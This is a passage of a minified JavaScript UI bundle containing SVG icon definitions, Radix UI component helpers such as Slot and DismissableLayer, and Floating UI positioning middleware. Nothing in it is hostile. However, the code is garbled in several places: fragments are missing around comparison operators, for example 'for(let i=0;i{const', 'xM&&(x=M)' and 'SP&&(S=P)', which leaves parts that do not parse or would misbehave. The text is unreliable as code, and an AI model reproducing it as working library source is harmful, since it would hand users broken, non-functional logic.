17v-3",key:"17ska0"}]],s0=Me("chart-column",_6);const T6=[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]],gM=Me("check",T6);const N6=[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]],Ch=Me("chevron-down",N6);const M6=[["path",{d:"m9 18 6-6-6-6",key:"mthhwq"}]],j6=Me("chevron-right",M6);const P6=[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]],R6=Me("chevron-up",P6);const D6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],yM=Me("circle-check",D6);const k6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}]],bM=Me("circle-dot",k6);const L6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m15 9-6 6",key:"1uzhvr"}],["path",{d:"m9 9 6 6",key:"z0biqf"}]],xM=Me("circle-x",L6);const I6=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],z6=Me("circle",I6);const $6=[["path",{d:"M12 6v6l4 2",key:"mmk7yg"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],wM=Me("clock",$6);const B6=[["path",{d:"M11 10.27 7 3.34",key:"16pf9h"}],["path",{d:"m11 13.73-4 6.93",key:"794ttg"}],["path",{d:"M12 22v-2",key:"1osdcq"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M14 12h8",key:"4f43i9"}],["path",{d:"m17 20.66-1-1.73",key:"eq3orb"}],["path",{d:"m17 3.34-1 1.73",key:"2wel8s"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"m20.66 17-1.73-1",key:"sg0v6f"}],["path",{d:"m20.66 7-1.73 1",key:"1ow05n"}],["path",{d:"m3.34 17 1.73-1",key:"nuk764"}],["path",{d:"m3.34 7 1.73 1",key:"1ulond"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["circle",{cx:"12",cy:"12",r:"8",key:"46899m"}]],SM=Me("cog",B6);const U6=[["path",{d:"M12 15V3",key:"m9g1x1"}],["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["path",{d:"m7 10 5 5 5-5",key:"brsn70"}]],H6=Me("download",U6);const q6=[["path",{d:"M21.54 15H17a2 2 0 0 0-2 2v4.54",key:"1djwo0"}],["path",{d:"M7 3.34V5a3 3 0 0 0 3 3a2 2 0 0 1 2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2c0-1.1.9-2 2-2h3.17",key:"1tzkfa"}],["path",{d:"M11 21.95V18a2 2 0 0 0-2-2a2 2 0 0 1-2-2v-1a2 2 0 0 0-2-2H2.05",key:"14pb5j"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],F6=Me("earth",q6);const V6=[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]],K6=Me("external-link",V6);const Y6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M10 12a1 1 0 0 0-1 1v1a1 1 0 0 1-1 1 1 1 0 0 1 1 1v1a1 1 0 0 0 1 1",key:"1oajmo"}],["path",{d:"M14 18a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1 1 1 0 0 1-1-1v-1a1 1 0 0 0-1-1",key:"mpwhp6"}]],G6=Me("file-braces",Y6);const W6=[["path",{d:"M6 22a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h8a2.4 2.4 0 0 1 1.704.706l3.588 3.588A2.4 2.4 0 0 1 20 8v12a2 2 0 0 1-2 2z",key:"1oefj6"}],["path",{d:"M14 2v5a1 1 0 0 0 1 1h5",key:"wfsgrz"}],["path",{d:"M8 13h2",key:"yr2amv"}],["path",{d:"M14 13h2",key:"un5t4a"}],["path",{d:"M8 17h2",key:"2yhykz"}],["path",{d:"M14 17h2",key:"10kma7"}]],X6=Me("file-spreadsheet",W6);const Z6=[["path",{d:"M10 20a1 1 0 0 0 .553.895l2 1A1 1 0 0 0 14 21v-7a2 2 0 0 1 .517-1.341L21.74 4.67A1 1 0 0 0 21 3H3a1 1 0 0 0-.742 1.67l7.225 7.989A2 2 0 0 1 10 14z",key:"sc7q7i"}]],Q6=Me("funnel",Z6);const J6=[["path",{d:"M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4",key:"tonef"}],["path",{d:"M9 18c-4.51 2-5-2-7-2",key:"9comsn"}]],eB=Me("github",J6);const tB=[["line",{x1:"4",x2:"20",y1:"9",y2:"9",key:"4lhtct"}],["line",{x1:"4",x2:"20",y1:"15",y2:"15",key:"vyu0kd"}],["line",{x1:"10",x2:"8",y1:"3",y2:"21",key:"1ggp8o"}],["line",{x1:"16",x2:"14",y1:"3",y2:"21",key:"weycgp"}]],nB=Me("hash",tB);const rB=[["polyline",{points:"22 12 16 12 14 15 10 15 8 12 2 12",key:"o97t9d"}],["path",{d:"M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",key:"oot6mr"}]],OM=Me("inbox",rB);const aB=[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]],iB=Me("languages",aB);const oB=[["path",{d:"M3 5h.01",key:"18ugdj"}],["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 19h.01",key:"noohij"}],["path",{d:"M8 5h13",key:"1pao27"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 19h13",key:"m83p4d"}]],lB=Me("list",oB);const sB=[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]],c0=Me("loader-circle",sB);const cB=[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]],$A=Me("lock",cB);const uB=[["path",{d:"M20.985 12.486a9 9 0 1 1-9.473-9.472c.405-.022.617.46.402.803a6 6 0 0 0 8.268 8.268c.344-.215.825-.004.803.401",key:"kfwtm"}]],fB=Me("moon",uB);const dB=[["rect",{x:"16",y:"16",width:"6",height:"6",rx:"1",key:"4q2zg0"}],["rect",{x:"2",y:"16",width:"6",height:"6",rx:"1",key:"8cvhb9"}],["rect",{x:"9",y:"2",width:"6",height:"6",rx:"1",key:"1egb70"}],["path",{d:"M5 16v-3a1 1 0 0 1 1-1h12a1 1 0 0 1 1 1v3",key:"1jsf9p"}],["path",{d:"M12 12V8",key:"2874zd"}]],_b=Me("network",dB);const hB=[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]],pB=Me("play",hB);const mB=[["path",{d:"M19.07 4.93A10 10 0 0 0 6.99 3.34",key:"z3du51"}],["path",{d:"M4 6h.01",key:"oypzma"}],["path",{d:"M2.29 9.62A10 10 0 1 0 21.31 8.35",key:"qzzz0"}],["path",{d:"M16.24 7.76A6 6 0 1 0 8.23 16.67",key:"1yjesh"}],["path",{d:"M12 18h.01",key:"mhygvu"}],["path",{d:"M17.99 11.66A6 6 0 0 1 15.77 16.67",key:"1u2y91"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}],["path",{d:"m13.41 10.59 5.66-5.66",key:"mhq4k0"}]],vB=Me("radar",mB);const gB=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],yB=Me("refresh-cw",gB);const bB=[["rect",{width:"20",height:"8",x:"2",y:"2",rx:"2",ry:"2",key:"ngkwjq"}],["rect",{width:"20",height:"8",x:"2",y:"14",rx:"2",ry:"2",key:"iecqi9"}],["line",{x1:"6",x2:"6.01",y1:"6",y2:"6",key:"16zg32"}],["line",{x1:"6",x2:"6.01",y1:"18",y2:"18",key:"nzw8ys"}]],Tb=Me("server",bB);const xB=[["path",{d:"M14 17H5",key:"gfn3mx"}],["path",{d:"M19 7h-9",key:"6i9tg"}],["circle",{cx:"17",cy:"17",r:"3",key:"18b49y"}],["circle",{cx:"7",cy:"7",r:"3",key:"dfmy0x"}]],wB=Me("settings-2",xB);const SB=[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}]],OB=Me("shield",SB);const EB=[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]],AB=Me("square",EB);const CB=[["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M12 20v2",key:"1lh1kg"}],["path",{d:"m4.93 4.93 1.41 1.41",key:"149t6j"}],["path",{d:"m17.66 17.66 1.41 1.41",key:"ptbguv"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"M20 12h2",key:"1q8mjw"}],["path",{d:"m6.34 17.66-1.41 1.41",key:"1m8zz5"}],["path",{d:"m19.07 4.93-1.41 1.41",key:"1shlcs"}]],_B=Me("sun",CB);const TB=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["circle",{cx:"12",cy:"12",r:"6",key:"1vlfrh"}],["circle",{cx:"12",cy:"12",r:"2",key:"1c9p78"}]],BA=Me("target",TB);const NB=[["path",{d:"M12 19h8",key:"baeox8"}],["path",{d:"m4 17 6-6-6-6",key:"1yngyt"}]],UA=Me("terminal",NB);const MB=[["path",{d:"M10 11v6",key:"nco0om"}],["path",{d:"M14 11v6",key:"outv1u"}],["path",{d:"M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6",key:"miytrc"}],["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2",key:"e791ji"}]],jB=Me("trash-2",MB);const PB=[["path",{d:"m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3",key:"wmoenq"}],["path",{d:"M12 9v4",key:"juzpu7"}],["path",{d:"M12 17h.01",key:"p32p05"}]],Nb=Me("triangle-alert",PB);const RB=[["path",{d:"M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2",key:"975kel"}],["circle",{cx:"12",cy:"7",r:"4",key:"17ys0d"}]],DB=Me("user",RB);const kB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}],["path",{d:"M5 12.859a10 10 0 0 1 5.17-2.69",key:"1dl1wf"}],["path",{d:"M19 12.859a10 10 0 0 0-2.007-1.523",key:"4k23kn"}],["path",{d:"M2 8.82a15 15 0 0 1 4.177-2.643",key:"1grhjp"}],["path",{d:"M22 8.82a15 15 0 0 0-11.288-3.764",key:"z3jwby"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],LB=Me("wifi-off",kB);const IB=[["path",{d:"M12 20h.01",key:"zekei9"}],["path",{d:"M2 8.82a15 15 0 0 1 20 0",key:"dnpr2z"}],["path",{d:"M5 12.859a10 10 0 0 1 14 0",key:"1x1e6c"}],["path",{d:"M8.5 16.429a5 5 0 0 1 7 0",key:"1bycff"}]],EM=Me("wifi",IB);const zB=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],$B=Me("zap",zB);function ue(e,t,{checkForDefaultPrevented:n=!0}={}){return function(i){if(e?.(i),n===!1||!i.defaultPrevented)return t?.(i)}}function HA(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function ja(...e){return t=>{let n=!1;const r=e.map(i=>{const l=HA(i,t);return!n&&typeof l=="function"&&(n=!0),l});if(n)return()=>{for(let i=0;i{const{children:c,...u}=l,f=v.useMemo(()=>u,Object.values(u));return E.jsx(n.Provider,{value:f,children:c})};r.displayName=e+"Provider";function i(l){const c=v.useContext(n);if(c)return c;if(t!==void 0)return t;throw new Error(`\`${l}\` must be used within \`${e}\``)}return[r,i]}function Fn(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c),f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,UB(i,...t)]}function UB(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var So=sM();const HB=Vr(So);function qB(e){const t=FB(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(KB);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function FB(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=GB(i),u=YB(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var VB=Symbol("radix.slottable");function KB(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===VB}function YB(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function GB(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var WB=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],Ce=WB.reduce((e,t)=>{const n=qB(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{});function AM(e,t){e&&So.flushSync(()=>e.dispatchEvent(t))}function en(e){const t=v.useRef(e);return v.useEffect(()=>{t.current=e}),v.useMemo(()=>(...n)=>t.current?.(...n),[])}function XB(e,t=globalThis?.document){const n=en(e);v.useEffect(()=>{const r=i=>{i.key==="Escape"&&n(i)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var ZB="DismissableLayer",u0="dismissableLayer.update",QB="dismissableLayer.pointerDownOutside",JB="dismissableLayer.focusOutside",qA,CM=v.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Hc=v.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:i,onFocusOutside:l,onInteractOutside:c,onDismiss:u,...f}=e,h=v.useContext(CM),[p,m]=v.useState(null),y=p?.ownerDocument??globalThis?.document,[,x]=v.useState({}),S=De(t,R=>m(R)),w=Array.from(h.layers),[O]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),A=w.indexOf(O),_=p?w.indexOf(p):-1,T=h.layersWithOutsidePointerEventsDisabled.size>0,j=_>=A,M=n8(R=>{const I=R.target,B=[...h.branches].some(q=>q.contains(I));!j||B||(i?.(R),c?.(R),R.defaultPrevented||u?.())},y),P=r8(R=>{const I=R.target;[...h.branches].some(q=>q.contains(I))||(l?.(R),c?.(R),R.defaultPrevented||u?.())},y);return XB(R=>{_===h.layers.size-1&&(r?.(R),!R.defaultPrevented&&u&&(R.preventDefault(),u()))},y),v.useEffect(()=>{if(p)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(qA=y.body.style.pointerEvents,y.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(p)),h.layers.add(p),FA(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(y.body.style.pointerEvents=qA)}},[p,y,n,h]),v.useEffect(()=>()=>{p&&(h.layers.delete(p),h.layersWithOutsidePointerEventsDisabled.delete(p),FA())},[p,h]),v.useEffect(()=>{const R=()=>x({});return document.addEventListener(u0,R),()=>document.removeEventListener(u0,R)},[]),E.jsx(Ce.div,{...f,ref:S,style:{pointerEvents:T?j?"auto":"none":void 0,...e.style},onFocusCapture:ue(e.onFocusCapture,P.onFocusCapture),onBlurCapture:ue(e.onBlurCapture,P.onBlurCapture),onPointerDownCapture:ue(e.onPointerDownCapture,M.onPointerDownCapture)})});Hc.displayName=ZB;var e8="DismissableLayerBranch",t8=v.forwardRef((e,t)=>{const n=v.useContext(CM),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return n.branches.add(l),()=>{n.branches.delete(l)}},[n.branches]),E.jsx(Ce.div,{...e,ref:i})});t8.displayName=e8;function n8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1),i=v.useRef(()=>{});return v.useEffect(()=>{const l=u=>{if(u.target&&!r.current){let f=function(){_M(QB,n,h,{discrete:!0})};const h={originalEvent:u};u.pointerType==="touch"?(t.removeEventListener("click",i.current),i.current=f,t.addEventListener("click",i.current,{once:!0})):f()}else t.removeEventListener("click",i.current);r.current=!1},c=window.setTimeout(()=>{t.addEventListener("pointerdown",l)},0);return()=>{window.clearTimeout(c),t.removeEventListener("pointerdown",l),t.removeEventListener("click",i.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function r8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1);return v.useEffect(()=>{const i=l=>{l.target&&!r.current&&_M(JB,n,{originalEvent:l},{discrete:!1})};return t.addEventListener("focusin",i),()=>t.removeEventListener("focusin",i)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function FA(){const e=new CustomEvent(u0);document.dispatchEvent(e)}function _M(e,t,n,{discrete:r}){const i=n.originalEvent.target,l=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&i.addEventListener(e,t,{once:!0}),r?AM(i,l):i.dispatchEvent(l)}var Ft=globalThis?.document?v.useLayoutEffect:()=>{},a8=Eh[" useId ".trim().toString()]||(()=>{}),i8=0;function sr(e){const[t,n]=v.useState(a8());return Ft(()=>{n(r=>r??String(i8++))},[e]),t?`radix-${t}`:""}const o8=["top","right","bottom","left"],xi=Math.min,zn=Math.max,wd=Math.round,If=Math.floor,zr=e=>({x:e,y:e}),l8={left:"right",right:"left",bottom:"top",top:"bottom"},s8={start:"end",end:"start"};function f0(e,t,n){return zn(e,xi(t,n))}function wa(e,t){return typeof e=="function"?e(t):e}function Sa(e){return e.split("-")[0]}function Hl(e){return e.split("-")[1]}function Mb(e){return e==="x"?"y":"x"}function jb(e){return e==="y"?"height":"width"}const c8=new Set(["top","bottom"]);function Lr(e){return c8.has(Sa(e))?"y":"x"}function Pb(e){return Mb(Lr(e))}function u8(e,t,n){n===void 0&&(n=!1);const r=Hl(e),i=Pb(e),l=jb(i);let c=i==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[l]>t.floating[l]&&(c=Sd(c)),[c,Sd(c)]}function f8(e){const t=Sd(e);return[d0(e),t,d0(t)]}function d0(e){return e.replace(/start|end/g,t=>s8[t])}const VA=["left","right"],KA=["right","left"],d8=["top","bottom"],h8=["bottom","top"];function p8(e,t,n){switch(e){case"top":case"bottom":return n?t?KA:VA:t?VA:KA;case"left":case"right":return t?d8:h8;default:return[]}}function m8(e,t,n,r){const i=Hl(e);let l=p8(Sa(e),n==="start",r);return i&&(l=l.map(c=>c+"-"+i),t&&(l=l.concat(l.map(d0)))),l}function Sd(e){return e.replace(/left|right|bottom|top/g,t=>l8[t])}function v8(e){return{top:0,right:0,bottom:0,left:0,...e}}function TM(e){return typeof e!="number"?v8(e):{top:e,right:e,bottom:e,left:e}}function Od(e){const{x:t,y:n,width:r,height:i}=e;return{width:r,height:i,top:n,left:t,right:t+r,bottom:n+i,x:t,y:n}}function YA(e,t,n){let{reference:r,floating:i}=e;const l=Lr(t),c=Pb(t),u=jb(c),f=Sa(t),h=l==="y",p=r.x+r.width/2-i.width/2,m=r.y+r.height/2-i.height/2,y=r[u]/2-i[u]/2;let x;switch(f){case"top":x={x:p,y:r.y-i.height};break;case"bottom":x={x:p,y:r.y+r.height};break;case"right":x={x:r.x+r.width,y:m};break;case"left":x={x:r.x-i.width,y:m};break;default:x={x:r.x,y:r.y}}switch(Hl(t)){case"start":x[c]-=y*(n&&h?-1:1);break;case"end":x[c]+=y*(n&&h?-1:1);break}return x}const g8=async(e,t,n)=>{const{placement:r="bottom",strategy:i="absolute",middleware:l=[],platform:c}=n,u=l.filter(Boolean),f=await(c.isRTL==null?void 0:c.isRTL(t));let h=await c.getElementRects({reference:e,floating:t,strategy:i}),{x:p,y:m}=YA(h,r,f),y=r,x={},S=0;for(let w=0;w({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:i,rects:l,platform:c,elements:u,middlewareData:f}=t,{element:h,padding:p=0}=wa(e,t)||{};if(h==null)return{};const m=TM(p),y={x:n,y:r},x=Pb(i),S=jb(x),w=await c.getDimensions(h),O=x==="y",A=O?"top":"left",_=O?"bottom":"right",T=O?"clientHeight":"clientWidth",j=l.reference[S]+l.reference[x]-y[x]-l.floating[S],M=y[x]-l.reference[x],P=await(c.getOffsetParent==null?void 0:c.getOffsetParent(h));let R=P?P[T]:0;(!R||!await(c.isElement==null?void 0:c.isElement(P)))&&(R=u.floating[T]||l.floating[S]);const I=j/2-M/2,B=R/2-w[S]/2-1,q=xi(m[A],B),U=xi(m[_],B),V=q,oe=R-w[S]-U,le=R/2-w[S]/2+I,ce=f0(V,le,oe),L=!f.arrow&&Hl(i)!=null&&le!==ce&&l.reference[S]/2-(lele<=0)){var U,V;const le=(((U=l.flip)==null?void 0:U.index)||0)+1,ce=R[le];if(ce&&(!(m==="alignment"?_!==Lr(ce):!1)||q.every($=>Lr($.placement)===_?$.overflows[0]>0:!0)))return{data:{index:le,overflows:q},reset:{placement:ce}};let L=(V=q.filter(F=>F.overflows[0]<=0).sort((F,$)=>F.overflows[1]-$.overflows[1])[0])==null?void 0:V.placement;if(!L)switch(x){case"bestFit":{var oe;const F=(oe=q.filter($=>{if(P){const Z=Lr($.placement);return Z===_||Z==="y"}return!0}).map($=>[$.placement,$.overflows.filter(Z=>Z>0).reduce((Z,de)=>Z+de,0)]).sort(($,Z)=>$[1]-Z[1])[0])==null?void 0:oe[0];F&&(L=F);break}case"initialPlacement":L=u;break}if(i!==L)return{reset:{placement:L}}}return{}}}};function GA(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function WA(e){return o8.some(t=>e[t]>=0)}const x8=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...i}=wa(e,t);switch(r){case"referenceHidden":{const l=await wc(t,{...i,elementContext:"reference"}),c=GA(l,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:WA(c)}}}case"escaped":{const l=await wc(t,{...i,altBoundary:!0}),c=GA(l,n.floating);return{data:{escapedOffsets:c,escaped:WA(c)}}}default:return{}}}}},NM=new Set(["left","top"]);async function w8(e,t){const{placement:n,platform:r,elements:i}=e,l=await(r.isRTL==null?void 0:r.isRTL(i.floating)),c=Sa(n),u=Hl(n),f=Lr(n)==="y",h=NM.has(c)?-1:1,p=l&&f?-1:1,m=wa(t,e);let{mainAxis:y,crossAxis:x,alignmentAxis:S}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return u&&typeof S=="number"&&(x=u==="end"?S*-1:S),f?{x:x*p,y:y*h}:{x:y*h,y:x*p}}const S8=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:i,y:l,placement:c,middlewareData:u}=t,f=await w8(t,e);return c===((n=u.offset)==null?void 0:n.placement)&&(r=u.arrow)!=null&&r.alignmentOffset?{}:{x:i+f.x,y:l+f.y,data:{...f,placement:c}}}}},O8=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:i}=t,{mainAxis:l=!0,crossAxis:c=!1,limiter:u={fn:O=>{let{x:A,y:_}=O;return{x:A,y:_}}},...f}=wa(e,t),h={x:n,y:r},p=await wc(t,f),m=Lr(Sa(i)),y=Mb(m);let x=h[y],S=h[m];if(l){const O=y==="y"?"top":"left",A=y==="y"?"bottom":"right",_=x+p[O],T=x-p[A];x=f0(_,x,T)}if(c){const O=m==="y"?"top":"left",A=m==="y"?"bottom":"right",_=S+p[O],T=S-p[A];S=f0(_,S,T)}const w=u.fn({...t,[y]:x,[m]:S});return{...w,data:{x:w.x-n,y:w.y-r,enabled:{[y]:l,[m]:c}}}}}},E8=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:i,rects:l,middlewareData:c}=t,{offset:u=0,mainAxis:f=!0,crossAxis:h=!0}=wa(e,t),p={x:n,y:r},m=Lr(i),y=Mb(m);let x=p[y],S=p[m];const w=wa(u,t),O=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(f){const T=y==="y"?"height":"width",j=l.reference[y]-l.floating[T]+O.mainAxis,M=l.reference[y]+l.reference[T]-O.mainAxis;xM&&(x=M)}if(h){var A,_;const T=y==="y"?"width":"height",j=NM.has(Sa(i)),M=l.reference[m]-l.floating[T]+(j&&((A=c.offset)==null?void 0:A[m])||0)+(j?0:O.crossAxis),P=l.reference[m]+l.reference[T]+(j?0:((_=c.offset)==null?void 0:_[m])||0)-(j?O.crossAxis:0);SP&&(S=P)}return{[y]:x,[m]:S}}}},A8=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,r;const{placement:i,rects:l,platform:c,elements:u}=t,{apply:f=()=>{},...h}=wa(e,t),p=await wc(t,h),m=Sa(i),y=Hl(i),x=Lr(i)==="y",{width:S,height:w}=l.floating;let O,A;m==="top"||m==="bottom"?(O=m,A=y===(await(c.isRTL==null?void 0:c.isRTL(u.floating))?"start":"end")?"left":"right"):(A=m,O=y==="end"?"top":"bottom");const _=w-p.top-p.bottom,T=S-p.left-p.right,j=xi(w-p[O],_),M=xi(S-p[A],T),P=!t.middlewareData.shift;let R=j,I=M;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(I=T),(r=t.middlewareData.shift)!=null&&r.enabled.y&&(R=_),P&&!y){const q=zn(p.left,0),U=zn(p.right,0),V=zn(p.top,0),oe=zn(p.bottom,0);x?I=S-2*(q!==0||U!==0?q+U:zn(p.left,p.right)):R=w-2*(V!==0||oe!==0?V+oe:zn(p.top,p.bottom))}await f({...t,availableWidth:I,availableHeight:R});const B=await c.getDimensions(u.floating);return 